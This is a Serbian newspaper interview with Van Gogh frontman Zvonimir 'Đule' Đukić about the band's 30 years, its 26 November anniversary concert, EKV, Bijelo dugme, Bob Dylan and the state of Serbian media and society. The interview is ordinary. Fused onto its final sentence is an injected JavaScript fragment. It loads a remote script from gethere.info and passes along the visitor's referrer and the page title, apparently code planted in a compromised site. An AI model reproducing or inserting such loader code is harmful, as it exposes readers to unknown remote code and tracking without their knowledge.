INTERVJU, ĐULE VAN GOG: Materijal za buntovničku slagalicu

Mi smo bili isprovocirani atmosferom socijalističkog društva koje je sve strogo kontrolisalo. Takve okolnosti rađale su nezadovoljstvo, a ono bunt. Hoću da verujem da će ova današnja omladina uspeti da na vreme sakupi delove za svoju buntovničku slagalicu, ne bih rekao da nemaju materijala, ukoliko do tada ne odu svi odavde

Kada su 1986. objavili prvi album "Van Gogh", furali su crna odela, bili ispeglani i doterani, a ujedno slovili za andergraund bend koji je "slikao muzikom" preuzevši imenom deo karme lucidnog holandskog slikara koja im je donela slavu i uspeh. Posle tri decenije pređenog puta, koji je trasirao kao bend koji sledi svoje instinkte i ne obazire se na osporavanja i kritike za skretanje u komercijalu, "Van Gog" je najpopularnija mejnstrim rok grupa na ovim prostorima, dva puta ovenčana prestižnom muzičkom nagradom MTV. Žurka kojom bend 26. novembra u beogradskom "Belekspo centru" slavi 30. rođendan povod je za razgovor sa njegovim frontmenom Zvonimirom Đukićem, o urbanim počecima i novim stvaralačkim poglavljima "Van Goga", Đuletovom velikom rok učitelju Milanu Mladenoviću i EKV-u, Bregi i "Dugmetu", Bobu Dilanu, današnjoj Srbiji...

Jubileji i godišnjice prilika su da se naprave neki preseci, svedu računi... Kako posle 30 godina vidite ulogu i mesto "Van Goga" na domaćoj i regionalnoj rok sceni?

- U proteklih 30 godina retko kad smo skretali pogled ka retrovizoru, čula su nam bila i ostala u punoj brzini zagledana u vreme ispred nas. Mesto na domaćoj, regionalnoj ili bilo kojoj drugoj sceni za grupu "Van Gog" uvek je bilo manje važnije u poređenju sa kvalitetom sadržaja koji i dalje produkujemo u kontinuitetu. Kategorija svođenja računa tumači se kao preispitivanje postignutog i čekiranje dugova, a mi se na ovom prvom delu putovanja nismo zadužili ni kod nikoga, osim kod svojih porodica. Kod publike smo kao na "stambenom kreditu" - redovan je, ne smeš da duguješ ratu, zavisiš od kursa emocije i energije, i evo, već mu je puna treća decenija. Nismo u valutama jer bi to značilo da smo varali. Što se tiče odrednica, nepisana formula rok muzike prirodno podrazumeva da se put kreatora kreće od andergraunda do mejnstrima. Nažalost, kulturološko značenje mejnstrima u našoj sredini shvaćeno je u pogrešnom kontekstu i tumači se kao "prodao si se". Ako se upustimo u analizu svetske scene, od "Stonsa", preko "Metalike", "Mjuza" pa sve do "Grin deja", jasno je da su to danas sve velike mejnstrim "rasprodate" priče koje su svoje početke takođe potpisale u memljivim podrumima. Dakle, odrednica "glavne struje" podrazumeva jasnu komunikaciju sa velikim brojem ljudi, a "Van Gog" je iskreno ponosan na tu činjenicu, i pređeni put, koji nikada nije podrazumevao preskakanje stepenika.

Na koncertu 26. novembra zauvek ćete se oprostiti od nekih pesama koje su prethodnih godina činile okosnicu vaših set-lista. O kojim pesmama je reč i čemu takva odluka?

- Kao bend sazrevali smo zdravo i postupno, padali, ustajali, dobijali i gubili, i sad posle trideset godina i dalje osećamo potrebu da stvaramo i gradimo. Dajemo šansu da kreativa hrabro i široko raširi svoja mlada krila. Daleko od toga da je reč o zasićenju, jednostavno želimo da se menjamo, ne da stagniramo. Znate, "Neko te ima" možda jeste naša najpoznatija, ali ne i naša najbolja i najlepša pesma. Nekim našim pesmama pasijans se nije otvorio kad je to trebalo da se dogodi, zato je sad došao red na njih, da svojim senzibilitetom započnu novu romansu i ljubavno zaplešu sa publikom. Na probama te stare pesme ludo prašimo i ljuljamo. Luđe nego kao kad smo ih napravili. Pankerski drajv 80-ih nije nas napustio. Inspirativan osećaj, susret kroz sudar, kao da skidamo pesme nekog drugog benda. Dok ih sviramo, zbunjeno gledamo kako nam se na lice vraća dečački bunt od davnina, sa istom dilemom u sebi, ali u ovom novom, za ukus poganom vremenu - "hoćemo li probiti zvučni zid". Spokojan sam. Razmišljam, ako ne u svemu, bar smo uspeli u tome da nas i dan-danas sigurno vozi taj dečački rokenrol rolerkoster. Na koncertu 26. novembra otvorićemo novo poglavlje pesmama kao što su "Do kraja sveta", " Dišem", " Klupko", "Zamisli", "Od kad te nema", "Delfin", "Tvoj smeh", "Glas", i mnoge druge. Verujem da će publika uživati u žuru kakav se niko pre nas nije usudio da napravi. Sviraćemo na dve bine dva odvojena seta - akustik i elektrik. Pesme na set-listama neće se ponavljati. Između naših setova u prostoru hale, osmišljene kao jedan veliki rokenrol klub, pre, zatim između naša dva koncertna nastupa i na kraju do duboko u noć muziku će puštati naši di-džej drugari. Dakle, dragi ljudi, 26. novembra ponesite osmeh i dođite da zajedno tresemo grad.

Milan Mladenović i ja imali smo iste muzičke uzore i zato su tadašnji "kritičari" muzički izraz "Van Goga", bez da analiziraju suštinu, predstavili publici kao kopiju "EKV-a"

Kažete da je "pred Vama vreme koje Vas mami da se kreativno otisnete u nekom za Vas, skroz nepoznatom a inspirativnom muzičkom pravcu", da li to znači da je "Van Gog" zatvorio neki svoj krug? Kom muzičkom pravcu se okrećete?

- Opstali smo, osporavani i hvaljeni. Instinkt je u meni odavno pobedio racio. Postao je hiperaktivni kolovođa koji zove na neodustajanje i neposustajanje. Godi nam kao kompliment i činjenica da naše pesme ne razumeju baš svi, a one se dopadaju mnogima! Bili smo i ostali dostojanstveni, ispravni u pristupu, uspravni u porazu, do kraja svoji u izrazu. Nekako mi nova stvaralačka poglavlja mnogo više prijaju nego kretanje kroz već iscrtane, poznate stare krugove. Poriv i želja koju osećam za promenom su ogromni. Hoću da idem dalje, brže, u neizvesnije i luđe. Ne znam, ali verovatno nije prijatan osećaj kad te sigurnost postignutog uljuljka, ne bih voleo to da osetim. Smetaju mi šabloni, nezanimljivi ljudi, popularne tendencije i moderna sredstva komunikacije. Poštujem "old school" i sve one koji samo u njemu pronalaze smisao, ali ne pristajem da sebe vidim uvek u istoj stilsko-muzičkoj ulozi. Ne bih da budem na mukama, u rukama pokvarenog auto-pilota čije prespojene žice određuju kurs kreacije, sa njim piste nigde na vidiku, a život otiče kao gorivo.

Osim "Van Goga" godine nekolicina domaćih rok bendova, poput "Partibrejkersa" i "Dža ili Bu", obeležava isti jubilej - 30 godina na sceni. Kako Vam danas izgledaju ti počeci kada ste se u oštroj konkurenciji borili za svoje mesto na sceni?

- Što bi rekao pokojni Prele: "Imali smo ulicu koja nam je dosta značila. Mi smo voleli ulicu i ulica je volela nas." Svako od nas je odrastao i stasao na svom parčetu asfalta, u svom okruženju, upijajući miris i ukus urbanog. Svako je sebi prilagođavao ushićenja svojim posebnostima. Pojam rivalstva 80-ih godina bio je smejurija jer vreme i društvena svest to nisu dozvoljavali u meri koja nam je danas poznata, gde se kolege prepucavaju po žutoj štampi i petljaju sa neprincipima. Tad je bilo bitno kada je ko u svom podrumu na probi, bilo je bitno da zakažeš koncert u "Dadovu", na Akademiji, SKC-u ili Domu omladine, bilo je bitno da skupiš novac za ploče, da je devojka koja stoji pored tebe uvek nasmejana i bez velikih prohteva, uvek zadovoljna.

Voleli ili ne voleli, pesme "Bijelog dugmeta" bile su i ostale antibiotik širokog spektra dejstva, sa neograničenim rokom trajanja

Rok dinosaurusi, kako zovu Vašu generaciju, često spočitavaju mlađim kolegama nedostatak kreativnosti i ideja, kažu da neki novi tehnički odlično sviraju, ali da su im tekstovi besmisleni i da su zato Akademija ili SKC krcati na svirkama "Orgazma" ili tribjut bendova "Azre" ili EKV-a, a poluprazni na nastupima novijih bendova.

- Mladom čoveku danas je potrebna šansa i ona mu bezuslovno mora biti pružena. Ako je nema, onda on nema motivaciju. Iz rezigniranog stava povlači se u improvizaciju, gde se nesvesno zapliće u formu, bez suštine. Istina je, nedostaju pesme. Ne znam ko bi sebi da dozvoli hrabrost da novim generacijama nameće stari pojam kreativnosti? Bilo bi to besmisleno i licemerno. Rokenrol je penicilin protiv širenja zaraze kiča i neukusa, aditiv protiv rasprostranjenog aktuelnog društvenog korova, i to je negde gorivo za stvaralački motiv mladom čoveku - kroz bunt. Nama je u ono vreme nagon i pogon bio drugačiji, a kreativni naboj zavisi od više socio-kulturnih segmenata. Omladina u Jugoslaviji bila je isprovocirana atmosferom socijalističkog društva, koje je sve strogo kontrolisalo. Takve okolnosti rađale su nezadovoljstvo, a ono bunt. Hoću da verujem da će ova današnja omladina uspeti da na vreme sakupi delove za svoju buntovničku slagalicu, ne bih rekao da nemaju materijala, ukoliko do tad ne odu svi odavde.

Ali mnogi muzičku industriju smatraju krivcem za tzv. krizu rokenrola, u kojoj je izgubio tu buntovničku crtu i moć koju je imao.

- Moram da vas ispravim, rokenrol nema problem, moral je u kvaru, a mediji šire neukus, favorizujući sumnjiva lica da za novac, pred milionskom porotom "okupaju" svoju problematičnost i sve ubede u svoj "nevini" kredibilitet. I dok kreature postaju uzor mladima, sa institucionalnog nivoa odgovorni i dalje ćute. Rokenrol kultura u obavezi je da se što pre pridigne iz polarnog sna i da posrnule kulturne vrednosti današnjeg društva vrati na pijedestal modernog, na kurs smisla i ukusa. Nažalost, svedoci smo siromaštva i loše kupovne moći, pa u većini slučajeva studente nužno izdržavaju roditelji bez posla, koje opet izdržavaju njihovi roditelji od svojih penzija. To ne znači da omladina dangubi, ne, naprotiv, mnogo njih primorano je da radi sezonske poslove kako bi sve svoje razumne prohteve i ostvarili. Napredak tehnologije muzici je koliko doneo, toliko i odneo. Dobra strana medalje jeste to što je pojavom interneta televizija izgubila monopol, a loša to što je nosač zvuka izgubio svaki smisao postojanja. Nestale su diskografske kuće, a sa njima i gramzivost, pohlepa, primat i ucene industrije.

Kažu da je živeti od rok muzike u Srbiji prava naučna fantastika. Vi ste studije prava batalili jer Vam se činilo da u "diplomatiji i advokaturi nema hleba".

- Moj izbor i sad bi bio isti kao i tad. Pre tri decenije poslušao sam instinkt i naslepo odustao od izvesnog kancelarijskog rada da bih izabrao ovaj neizvesni posao na točkovima, koji me, eto, i dan-danas čini beskrajno srećnim čovekom. U tom trenutku moja odluka je delovala kao apsolutna ludost, kockarski potez na sve ili ništa, i od svih karata u špilu izvukao sam baš tu na kojoj je pisalo "budi iskren prema sebi". Ni danas, kao ni tada, ne pristajem na reči "ne mogu, ne znam, neću" jer predaja i odustajanje pre vremena nije oblik srca koje je rođeno uzbuđeno. Na svakom koraku s početka pratila me je poledica, dok jednog dana nije granulo sunce. I danas pamtim cenu svih "poslastica" i bol svih "posledica" koje sam okusio na putu dugom trideset punih godina.

Što se mene tiče, gospodine Dilane - bravo i hvala Vam za sve, Vaša pesma promenila me je, a "All Along The Watchtower" tetoviram na srcu

Petog novembra navršavaju se 22 godine od smrti lidera EKV-a Milana Mladenovića. "Van Gog" su u početku poredili sa "Ekaterinom Velikom", nazivali njenom "bledom kopijom" i tvrdili kako Vi uporno pokušavate da kopirate Milana. Da li Vam je to smetalo?

- Na to pitanje odgovaram, evo, već punih trideset godina, i to samo zato što smo Milan i ja imali iste muzičke uzore. Tadašnji "kritičari" naš muzički izraz, bez da analiziraju suštinu, predstavili su publici kao kopiju EKV-a. Ko zna, možda ih je zvuk moje gitare podsetio na zvuk gitare sa albuma EKV-a, ništa čudno ako se uzme u obzir činjenica da mi je Milan za snimanje prvog albuma pozajmio svoju gitaru "gibson RD". Na stranu sve, kako tad, tako i sad kažem, čast mi je što se uticaj njihove posebnosti osetio na našem prvom studijskom albumu. Milan i Magi bili su gosti na albumima grupe "Van Gog", a kasnije sam i ja imao to zadovoljstvo da gostujem na njihovim albumima i koncertima. Za sve nas iz sveta muzike EKV je bio i ostao najpoštovaniji bastion rokenrola 80-tih, koji je uspeo da oko sebe okupi i generiše energiju za celu večnost. Milan i ceo EKV bili su energetski mađioničari i umetnici kakvih više nema. U mom srcu sećanje na njih ne bledi.

Nedelju dana pre rođendanske žurke "Van Goga" u "Areni" svira "Bijelo dugme", o kojem se i danas polemiše da li je pravi rok bend ili nekakva "seljačka" varijanta roka. Da li su "Dugme" i Bregović Vaša šoljica čaja?

- Ma samo nek se polemiše, u tome i jeste čar svake vesele intrige. "Dugme" je miks muzike kao što je Jugoslavija bila miks naroda i entiteta. Voleli, ne voleli, njegove pesme bile su i ostale antibiotik širokog spektra dejstva, sa neograničenim rokom trajanja. Brega je šarmantan dasa, koji se svako veče u nekom drugom gradu za svoj ćeif veseli na bini, a publika mu se pridružuje u slavlju.

Kada je objavljeno da je Bob Dilan ovogodišnji dobitnik Nobelove nagrade, čuli su se ironični komentari u našoj javnosti kako posle Dilana ima nade i za Bregovića, Bajagu, Đuleta...

- Tužno je da danas svaka nagrada bude tek tako drsko osporena, a dobitnik razapet umesto da bude pohvaljen. Dosadna je više priča na tu temu. Tribine i beskrajna razglabanja da li će Dilan razočarati ili ne svoje fanove ako primi ili ne primi nagradu. Što se mene tiče, Gospodine Dilane - bravo i hvala Vam za sve, Vaša pesma promenila me je, a "All Along The Watchtower" tetoviram na srcu.

Malo je poznato da ste ljubitelj fotografije i da ste na putovanjima 80-ih napravili čitavu kolekciju slika u kojoj su i zvezde poput Boba Dilana, Mika Džegera, Dejvida Bouvija...

- Hobi ko hobi, ništa spektakularno. Istina je, putovao sam svetom bez ijedne profi akreditacije i iz nemogućih uglova za fotografa aparatom iz prvih koncertnih redova crtao portrete ljudi na čijoj sam muzici odrastao. Fotografija je za mene pre svega porodična tradicija, a onda i skrivena potreba. Ko zna, možda se nekad i pomenute rok ikone iz mog objektiva povampire i osvanu na nekom zidiću pred ljudima.

Briga me je ko je s kim, ko ne nosi donji veš, šta voze deca poznatih... Često pomislim da odgovorne institucije, koje bi na sve to trebalo da kažu "stop", saučestvuju u anesteziranju socijalne svakodnevice

A da li će se, možda, nekad desiti i saradnja sa Vašim bratom Ljubom, klavijaturistom "Električnog orgazma", s kojim Vam se do sada nisu ukrštali muzički putevi?

- Ko zna zašto se to baš tako namestilo, možda je i ta nesaradnja opet neki oblik saradnje na višem nivou. Kreacija ne trpi nagovore, a inspiracija pregovore. Nismo nikada svirali zajedno, temperamenti su nam potpuno različiti. Odmalena svako od nas ide svojim putem, putem različitih nota. Ko zna, možda tako i treba da ostane. Nada umire poslednja, a vera se rađa prva.

Svojevremeno ste rekli da biste voleli da Vaš sin Simon "živi u zemlji u kojoj se ne zna ime predsednika, niti bilo kog drugog političara". Kako biste reagovali ako bi Simon poželeo da započne život u jednoj takvoj zemlji, a Srbija to još uvek nije...

- Podržaću ga uvek i u svakoj njegovoj odluci. Voleo bih da svi moji naslednici, dokle je života na zemlji, ne znaju ime nijednog činovnika bilo kog državnog aparata. Nasledniku za svaku njegovu mudru odluku dajem deset poena, a za svaku grešku u koracima potražiću krivca u sebi, naravno i pomoći mu da grešku ispravimo. Odabrao sam da ostanem u mojoj zemlji ne zato što mi je ona obezbedila savršeni život i blagostanje, naprotiv, pristao sam na trnje i odabrao trnje. Svesno sam odabrao da to što radim radim onako kako najbolje znam i umem, na mom maternjem jeziku. Da sam otišao u vreme nesklada, poneo bih u glavi nemir, a tu bolnu glavu mukom natrpanu, nosio bih na ramenima sve dok mi srce od težine tereta ne prepukne. Da sam otišao u miru, daljina bi u meni probudila nemir. Moj sin to zna i verujem da će odabrati put po svom instinktu. Da će odabrati put na kome će biti odgovoran za svoj uspeh i svoj neuspeh.

UŽIVANJE U SEKSU IZGUBILO SMISAO

Srbiju ste pre desetak godina uporedili sa porno-filmom. Da li smo u međuvremenu promenili žanr, u kom filmu danas živimo?

- Negde sam pročitao da ljudima u čitavom svetu zbog velike dostupnosti porno-industrije opadaju seksualno interesovanje i libido, i da je pojam uživanja u nekada ljubavnom činu odavno izgubio svaki smisao. Postali smo rezistentni na svaki impuls. Tabloidi nas i dalje svakodnevno sa kioska i interneta šamaraju neizostavnim prefiksom "SKANDALOZNO (foto) (video)". Ne znam samo šta je više skandalozno jer je sve postalo toliko skandalozno isprazno, dosadno i brutalno bahato. Mediji su postali ništa drugo do trudnički bilteni, sluge u službi dece poznatih kojima je poklonjen kompletan medijski prostor, i to samo zato što su deca poznatih. U modi su neki "pi-arovi" zaposleni na raznim medijima, koji za kintu ispod žita favorizuju nekoliko medijskih ličnosti koje ih i finansiraju. Običan svet tiranisan je ispraznim sadržajima, neukusnim trzajima i umišljenim nadražajima "slavnih i njihove dece". Koga više zanimaju te teme i dileme? "Olovni anestetik" kao diuretik, najopskurniji način da svest nacije obamre i ljudi se predaju okolnostima. Čak se i moment saosećanja u odnosu na narod koji živi lošije od drugih tim anestetikom gubi. Teško objašnjiva količina neukusa i intenzitet poniranja u našem društvu po već odavno posrnulom moralnom kodeksu sve više uzima mah. Briga me je ko je s kim, ko ne nosi donji veš, šta voze deca poznatih. Često pomislim da i odgovorne institucije koje bi na sve to trebalo da kažu "stop" saučestvuju u anesteziranju socijalne svakodnevice kad sve to tolerišu. Za kraj, muka mi je više od ološa i medijskih manipulanata, koji su svojom bahatošću zaposeli ovu moju divnu zemlju Srbiju.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';